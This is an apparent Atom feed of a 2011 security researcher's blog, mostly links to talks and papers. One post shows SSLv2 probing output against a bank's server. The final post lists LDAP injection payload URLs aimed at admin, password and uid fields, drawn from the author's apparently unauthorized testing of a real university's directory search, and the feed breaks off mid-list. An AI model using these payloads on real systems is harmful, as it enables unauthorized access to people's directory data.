<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-30098758</id><updated>2011-12-24T08:14:54.590-08:00</updated><title type='text'>Security Space for the Untamed Minds</title><subtitle type='html'>This tangential research relates to my avocation. Security at Stake.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default?start-index=101&amp;max-results=100'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>177</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-30098758.post-8149355256324566847</id><published>2011-12-24T08:14:00.001-08:00</published><updated>2011-12-24T08:14:54.596-08:00</updated><title type='text'>Virus Bulletin - Talk</title><content type='html'>Check out my virus bulletin talk -&lt;span style="font-weight:bold;"&gt; &lt;a href="http://www.virusbtn.com/cohttp://www.blogger.com/img/blank.gifnference/vb2011/590oYHwdzKZp/abstracts/Sood.xml"&gt;http://www.virusbtn.com/conference/vb2011/590oYHwdzKZp/abstracts/Sood.xml&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-8149355256324566847?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/8149355256324566847/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=8149355256324566847' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8149355256324566847'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8149355256324566847'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2011/12/virus-bulletin-talk.html' title='Virus Bulletin - Talk'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-3126053301292316657</id><published>2011-12-24T08:09:00.000-08:00</published><updated>2011-12-24T08:10:59.232-08:00</updated><title type='text'>OWASP Talk - The Good Hacker - Hunting Web Malware</title><content type='html'>&lt;iframe src="http://player.vimeo.com/video/32718061?title=0&amp;amp;byline=0&amp;amp;portrait=0" width="400" height="225" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen&gt;&lt;/iframe&gt;&lt;p&gt;&lt;a href="http://vimeo.com/32718061"&gt;The Good Hacker:Dismantling Web Malware with Aditya K Sood &amp; Richard J Enbody, SecNiche Security Labs, Michigan State University&lt;/a&gt; from &lt;a href="http://vimeo.com/owasp"&gt;OWASP&lt;/a&gt; on &lt;a href="http://vimeo.com"&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-3126053301292316657?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/3126053301292316657/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=3126053301292316657' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/3126053301292316657'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/3126053301292316657'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2011/12/owasp-talk-good-hacker-hunting-web.html' title='OWASP Talk - The Good Hacker - Hunting Web Malware'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-2740043438524036271</id><published>2011-09-28T18:07:00.000-07:00</published><updated>2011-12-24T08:08:58.212-08:00</updated><title type='text'>BruCon 2011 - Botnets and Browsers</title><content type='html'>I presented at &lt;span style="font-weight:bold;"&gt;&lt;a href="http://2011.brucon.org/index.php/Content#Botnets_and_Browsers_-_Brothers_in_a_Ghost_Shell_.28Aditya_K_Sood.29"&gt;BruCon 2011&lt;/a&gt;&lt;/span&gt; on Botnets and Browsers. &lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;div style="width:425px" id="__ss_9348753"&gt; &lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/adityaks/brucon-brussels-2011-hacking-conference-botnets-and-browsers-brothers-in-the-ghost-shell" title="BruCon (Brussels 2011) Hacking Conference - Botnets and Browsers (Brothers in the Ghost Shell)" target="_blank"&gt;BruCon (Brussels 2011) Hacking Conference - Botnets and Browsers (Brothers in the Ghost Shell)&lt;/a&gt;&lt;/strong&gt; &lt;iframe src="http://www.slideshare.net/slideshow/embed_code/9348753" width="425" height="355" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"&gt;&lt;/iframe&gt; &lt;div style="padding:5px 0 12px"&gt; View more &lt;a href="http://www.slideshare.net/" target="_blank"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/adityaks" target="_blank"&gt;Aditya K Sood&lt;/a&gt; &lt;/div&gt; &lt;/div&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;A nice writeup is here - &lt;span style="font-weight:bold;"&gt;&lt;a href="http://blog.c22.cc/2011/09/20/brucon-botnets-and-browsers-brothers-in-a-ghost-shell/"&gt;http://blog.c22.cc/2011/09/20/brucon-botnets-and-browsers-brothers-in-a-ghost-shell/&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Enjoy !&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-2740043438524036271?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/2740043438524036271/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=2740043438524036271' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/2740043438524036271'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/2740043438524036271'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2011/09/brucon-2011-botnets-and-browsers.html' title='BruCon 2011 - Botnets and Browsers'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-936429310937837489</id><published>2011-09-04T06:00:00.000-07:00</published><updated>2011-09-04T06:18:36.333-07:00</updated><title type='text'>Source Seattle 2011 - Video Up - Art of InfoJacking</title><content type='html'>In May , I presented about &lt;span style="font-weight:bold;"&gt;&lt;a href="http://www.slideshare.net/adityaks/art-of-infojacking-source-conference-seattle-2011"&gt;Art of InfoJacking&lt;/a&gt;&lt;/span&gt; in &lt;span style="font-weight:bold;"&gt;&lt;a href="http://www.sourceconference.com/seattle/speakers_2011.asp"&gt;Source Seattle.&lt;/a&gt;&lt;/span&gt; The video can be seen &lt;span style="font-weight:bold;"&gt;&lt;a href="http://blip.tv/sourceseattle2011/aditya-k-sood-art-of-infojacking-analyzing-web-network-devices-5484198"&gt;here.&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-936429310937837489?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/936429310937837489/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=936429310937837489' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/936429310937837489'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/936429310937837489'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2011/09/source-seattle-2011-video-up-art-of.html' title='Source Seattle 2011 - Video Up - Art of InfoJacking'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-3511754755122960015</id><published>2011-08-31T16:49:00.000-07:00</published><updated>2011-08-31T16:56:38.124-07:00</updated><title type='text'>PenTest Magazine - Breaking Down i*{Devices} - Testing iPhone Security</title><content type='html'>Smartphones have revolutionized the world. The online world is grappling with severe security and privacy issues. The smartphone applications require an aggressive approach of security testing and integrity verification in order to serve the three metrics of security such as confidentiality, integrity and availability.&lt;br /&gt;&lt;br /&gt;This paper sheds a light on the behavioral testing and security issues present in Apple’s IOS devices and applications. Primarily, this paper revolves around penetration testing of iPhone device and its applications. The paper does not discuss the iPhone application source code analysis and reverse engineering.&lt;br /&gt;&lt;br /&gt;Download the magazine from : &lt;span style="font-weight:bold;"&gt;&lt;a href="http://pentestmag.com/september-issue-mobile-hack/"&gt;HERE&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="width:477px" id="__ss_9089463"&gt; &lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/adityaks/pentest-magazine-teaser-mobile-hacking" title="PenTest Magazine Teaser - Mobile Hacking" target="_blank"&gt;PenTest Magazine Teaser - Mobile Hacking&lt;/a&gt;&lt;/strong&gt; &lt;iframe src="http://www.slideshare.net/slideshow/embed_code/9089463" width="477" height="510" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"&gt;&lt;/iframe&gt; &lt;div style="padding:5px 0 12px"&gt; View more &lt;a href="http://www.slideshare.net/" target="_blank"&gt;documents&lt;/a&gt; from &lt;a href="http://www.slideshare.net/adityaks" target="_blank"&gt;Aditya K Sood&lt;/a&gt; &lt;/div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-3511754755122960015?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/3511754755122960015/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=3511754755122960015' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/3511754755122960015'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/3511754755122960015'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2011/08/pentest-magazine-breaking-down-idevices.html' title='PenTest Magazine - Breaking Down i*{Devices} - Testing iPhone Security'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-178739598403740597</id><published>2011-08-25T12:34:00.000-07:00</published><updated>2011-08-25T19:03:37.932-07:00</updated><title type='text'>Dissecting Java Server Faces for Penetration Testing</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-9Zw1IiQZ6Cc/Tlak3PLf85I/AAAAAAAAA_g/q60uMBNUvBY/s1600/port_14.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 97px; height: 89px;" src="http://4.bp.blogspot.com/-9Zw1IiQZ6Cc/Tlak3PLf85I/AAAAAAAAA_g/q60uMBNUvBY/s400/port_14.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5644880451830018962" /&gt;&lt;/a&gt; This paper sheds light on the findings of security testing of Java Server Faces. JSF has been widely used as an open source web framework for developing efficient applications using J2EE. JSF is compared with ASP.NET framework to unearth potential security flaws.&lt;br /&gt;&lt;br /&gt;This paper is an outcome of my work at Cigital Labs. It is a collaborative work with Security Compass team. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Download : &lt;a href="http://www.cigital.com/papers/download/dissecting_jsf_pt_aks_kr.pdf"&gt;http://www.cigital.com/papers/download/dissecting_jsf_pt_aks_kr.pdf&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;div style="width:477px" id="__ss_9014441"&gt; &lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/adityaks/dissecting-java-server-faces-for-penetration-testing" title="Dissecting Java Server Faces for Penetration Testing " target="_blank"&gt;Dissecting Java Server Faces for Penetration Testing &lt;/a&gt;&lt;/strong&gt; &lt;iframe src="http://www.slideshare.net/slideshow/embed_code/9014441" width="477" height="510" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"&gt;&lt;/iframe&gt; &lt;div style="padding:5px 0 12px"&gt; View more &lt;a href="http://www.slideshare.net/" target="_blank"&gt;documents&lt;/a&gt; from &lt;a href="http://www.slideshare.net/adityaks" target="_blank"&gt;Aditya K Sood&lt;/a&gt; &lt;/div&gt; &lt;/div&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Enjoy!&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-178739598403740597?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/178739598403740597/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=178739598403740597' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/178739598403740597'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/178739598403740597'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2011/08/dissecting-java-server-faces-for.html' title='Dissecting Java Server Faces for Penetration Testing'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-9Zw1IiQZ6Cc/Tlak3PLf85I/AAAAAAAAA_g/q60uMBNUvBY/s72-c/port_14.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-930156933260299693</id><published>2011-08-23T15:40:00.001-07:00</published><updated>2011-08-23T15:40:47.279-07:00</updated><title type='text'>Elsevier CFS - The State of Declarative Security in Banking Websites</title><content type='html'>&lt;center&gt;&lt;br /&gt;&lt;div style="width:477px" id="__ss_8926408"&gt; &lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/adityaks/the-state-of-declarative-security-in-http-response-headers-bank-study" title="The State of Declarative Security in HTTP Response Headers - Bank Study" target="_blank"&gt;The State of Declarative Security in HTTP Response Headers - Bank Study&lt;/a&gt;&lt;/strong&gt; &lt;iframe src="http://www.slideshare.net/slideshow/embed_code/8926408" width="477" height="510" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"&gt;&lt;/iframe&gt; &lt;div style="padding:5px 0 12px"&gt; View more &lt;a href="http://www.slideshare.net/" target="_blank"&gt;documents&lt;/a&gt; from &lt;a href="http://www.slideshare.net/adityaks" target="_blank"&gt;Aditya K Sood&lt;/a&gt; &lt;/div&gt; &lt;/div&gt;&lt;br /&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-930156933260299693?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/930156933260299693/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=930156933260299693' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/930156933260299693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/930156933260299693'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2011/08/elsevier-cfs-state-of-declarative.html' title='Elsevier CFS - The State of Declarative Security in Banking Websites'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-6277998398074577410</id><published>2011-08-19T08:21:00.000-07:00</published><updated>2011-08-19T09:27:37.848-07:00</updated><title type='text'>User Agent / SSL Version and SSL2_READ_INTERNAL:bad mac decode</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-wDJvdjq8JIQ/Tk6O8loONLI/AAAAAAAAA_A/Yngx7zoAnDc/s1600/ssl.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 128px; height: 128px;" src="http://1.bp.blogspot.com/-wDJvdjq8JIQ/Tk6O8loONLI/AAAAAAAAA_A/Yngx7zoAnDc/s400/ssl.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5642604554685920434" /&gt;&lt;/a&gt;During SSL version verification and testing, one might encounter different issues on different platforms. The output greatly depends on the type of User agent is used and the SSL configuration parameters on server side. In certain scenarios, one might encounter &lt;span style="font-weight:bold;"&gt;SSL2_READ_INTERNAL:bad mac&lt;/span&gt; error while testing for SSLv2 on the server. For example: let's have a look the example below&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;[Request/Response - 1] &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;root@bt:~# curl -v -2 https://www.examplebank.com:443  -k&lt;br /&gt;* About to connect() to www.examplebank.com port 443 (#0)&lt;br /&gt;*   Trying  ... connected&lt;br /&gt;* Connected to examplebank.com port 443 (#0)&lt;br /&gt;* successfully set certificate verify locations:&lt;br /&gt;*   CAfile: none&lt;br /&gt;  CApath: /etc/ssl/certs&lt;br /&gt;* SSLv2, Client hello (1):&lt;br /&gt;* SSLv2, Server hello (4):&lt;br /&gt;* SSLv2, Client key (2):&lt;br /&gt;* SSLv2, Client finished (3):&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;* error:140EC071:SSL routines:SSL2_READ_INTERNAL:bad mac decode&lt;/span&gt;&lt;br /&gt;* Closing connection #0&lt;br /&gt;&lt;br /&gt;root@bt:~# openssl s_client -connect www.examplebank.com:443 -ssl2&lt;br /&gt;CONNECTED(00000003)&lt;br /&gt;depth=0 /1.3.6.1.4.1.311.60.2.1.3=US/1.3.6.1.4.1.311.60.2.1.2=Delaware/2.5.4.15=Private Organization/serialNumber=2927442/C=US/postalCode=75202/ST=Texas/L=Dallas/streetAddress=1201 Main Street/O=Bank   Corporation/OU=WebSphere Ecomm&lt;br /&gt;verify error:num=20:unable to get local issuer certificate&lt;br /&gt;verify return:1&lt;br /&gt;depth=0 /1.3.6.1.4.1.311.60.2.1.3=US/1.3.6.1.4.1.311.60.2.1.2=Delaware/2.5.4.15=Private Organization/serialNumber=2927442/C=US/postalCode=75202/ST=Texas/L=Dallas/streetAddress=1201 Main Street/O= Bank/OU=WebSphere Ecomm&lt;br /&gt;verify error:num=27:certificate not trusted&lt;br /&gt;verify return:1&lt;br /&gt;depth=0 /1.3.6.1.4.1.311.60.2.1.3=US/1.3.6.1.4.1.311.60.2.1.2=Delaware/2.5.4.15=Private Organization/serialNumber=2927442/C=US/postalCode=75202/ST=Texas/L=Dallas/streetAddress=1201 Main Street/O=Bank  /OU=WebSphere Ecomm&lt;br /&gt;verify error:num=21:unable to verify the first certificate&lt;br /&gt;verify return:1&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;2170:error:140EC071:SSL routines:SSL2_READ_INTERNAL:bad mac decode:s2_pkt.c:274:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;[Request/Response - 2] &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;root@bt:~# curl -v -2 https://examplebank.com:443 -k &lt;br /&gt;* About to connect() to examplebank.com port 443 (#0)&lt;br /&gt;*   Trying  ... connected&lt;br /&gt;* Connected to examplebank.com (171.159.228.150) port 443 (#0)&lt;br /&gt;* successfully set certificate verify locations:&lt;br /&gt;*   CAfile: none&lt;br /&gt;  CApath: /etc/ssl/certs&lt;br /&gt;* SSLv2, Client hello (1):&lt;br /&gt;* Unknown SSL protocol error in connection to  examplebank.com.com:443 &lt;br /&gt;* Closing connection #0&lt;br /&gt;curl: (35) Unknown SSL protocol error in connection to examplebank.com:443 &lt;br /&gt;&lt;br /&gt;root@bt:~# openssl s_client -connect examplebank.com:443 -ssl2&lt;br /&gt;CONNECTED(00000003)&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;2179:error:1407F0E5:SSL routines:SSL2_WRITE:ssl handshake failure:s2_pkt.c:428:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The above presented response information is from the same target. The first request has "www" prefix appended to the domain name and second request is without "www" prefix. &lt;br /&gt;&lt;br /&gt;The first case results in half handshake and server side verification fails. This error usually occurs when server detects a specific padding option chosen for the the protocol version (SSLv2 in this case). It typically looks like a &lt;span style="font-weight:bold;"&gt;Protocol Rollback Attack&lt;/span&gt;. The server only negotiates successfully when only SSLv2 is enabled on the server. However, hostname (www.examplebank.com) also plays a role because there is always a SSL redirection implemented on the server side.&lt;br /&gt;&lt;br /&gt;The second case simply rejects the SSLv2 handshake. The hostname (examplebank.com) is used does not have "www" prefix. The point is while testing SSL version different errors should be fuzzed appropriately before raising a red flag.&lt;br /&gt;&lt;br /&gt;Enjoy!&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-6277998398074577410?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/6277998398074577410/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=6277998398074577410' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/6277998398074577410'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/6277998398074577410'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2011/08/user-agent-ssl-version-and.html' title='User Agent / SSL Version and SSL2_READ_INTERNAL:bad mac decode'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-wDJvdjq8JIQ/Tk6O8loONLI/AAAAAAAAA_A/Yngx7zoAnDc/s72-c/ssl.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-8770426988513906538</id><published>2011-08-16T10:17:00.001-07:00</published><updated>2011-08-16T16:36:46.449-07:00</updated><title type='text'>LDAP Injection - CN /SN /UID /MAIL - Attack Payloads</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-jrzldiQoJxk/TkqmnzEkKbI/AAAAAAAAA-o/jOdJYO7v8ug/s1600/attack-attack-self-titled.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 120px; height: 120px;" src="http://4.bp.blogspot.com/-jrzldiQoJxk/TkqmnzEkKbI/AAAAAAAAA-o/jOdJYO7v8ug/s400/attack-attack-self-titled.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5641504685889431986" /&gt;&lt;/a&gt; LDAP injections are detected very less as compared to XSS attacks. However, every injection is critical from security point of view. Recently I came across one of the biggest educational university that has implemented LDAP for its directory services. With no reasonable doubt it was vulnerable to LDAP injections. It was fun to play around with it. For security purposes, I am not going to show the successful injection snapshots (figure it out yourself) but only present the payloads and brief queries.&lt;br /&gt;&lt;br /&gt;It is the most common example of searching username in the directories. The website has search form with different name fields. On some HTTP debugging, the form is submitting these variables.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;sn	cn	uid	mail	full	0 submit	Search&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Considering the set of variables, the most generic implementation of LDAP filter looks as presented below&lt;br /&gt;&lt;span style="font-weight:bold;"&gt; (&amp;(objectClass=Person)(|(sn=John)(cn=Woo*)))&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;One might encounter following errors&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;1. There was an error connecting to the server.Please try again.&lt;br /&gt;&lt;br /&gt;2. You have not entered anything to search on. There were 0 matches to your query.&lt;br /&gt;Please return to the search page to reformulate your query. &lt;br /&gt;&lt;br /&gt;3. 500 Internal Server Error&lt;br /&gt;&lt;br /&gt;4. Successful query&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Attack payloads:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;/cgi-bin/ldap/ldap_query.cgi?cn=)))&lt;br /&gt;/cgi-bin/ldap/ldap_query.cgi?cn=john*)((|mail=*)&lt;br /&gt;/cgi-bin/ldap/ldap_query.cgi?cn=admin*)((|mail=*)&lt;br /&gt;/cgi-bin/ldap/ldap_query.cgi?cn=admin*)((|password=*)&lt;br /&gt;/cgi-bin/ldap/ldap_query.cgi?cn=admin*)((|uid=*)&lt;br /&gt;/cgi-bin/ldap/ldap_query.cgi?cn=admin*)(|uid=*)&lt;br /&gt;/cgi-bin/ldap/ldap_query.cgi?cn=admin*)((|uid=*)&lt;br /&gt;/cgi-bin/ldap/ldap_query.cgi?cn=admin*)((|userpassword=*)&lt;br /&gt;/cgi-bin/ldap/ldap_query.cgi?cn=admin*&lt;br /&gt;/cgi-bin/ldap/ldap_query.cgi?cn=*&lt;br 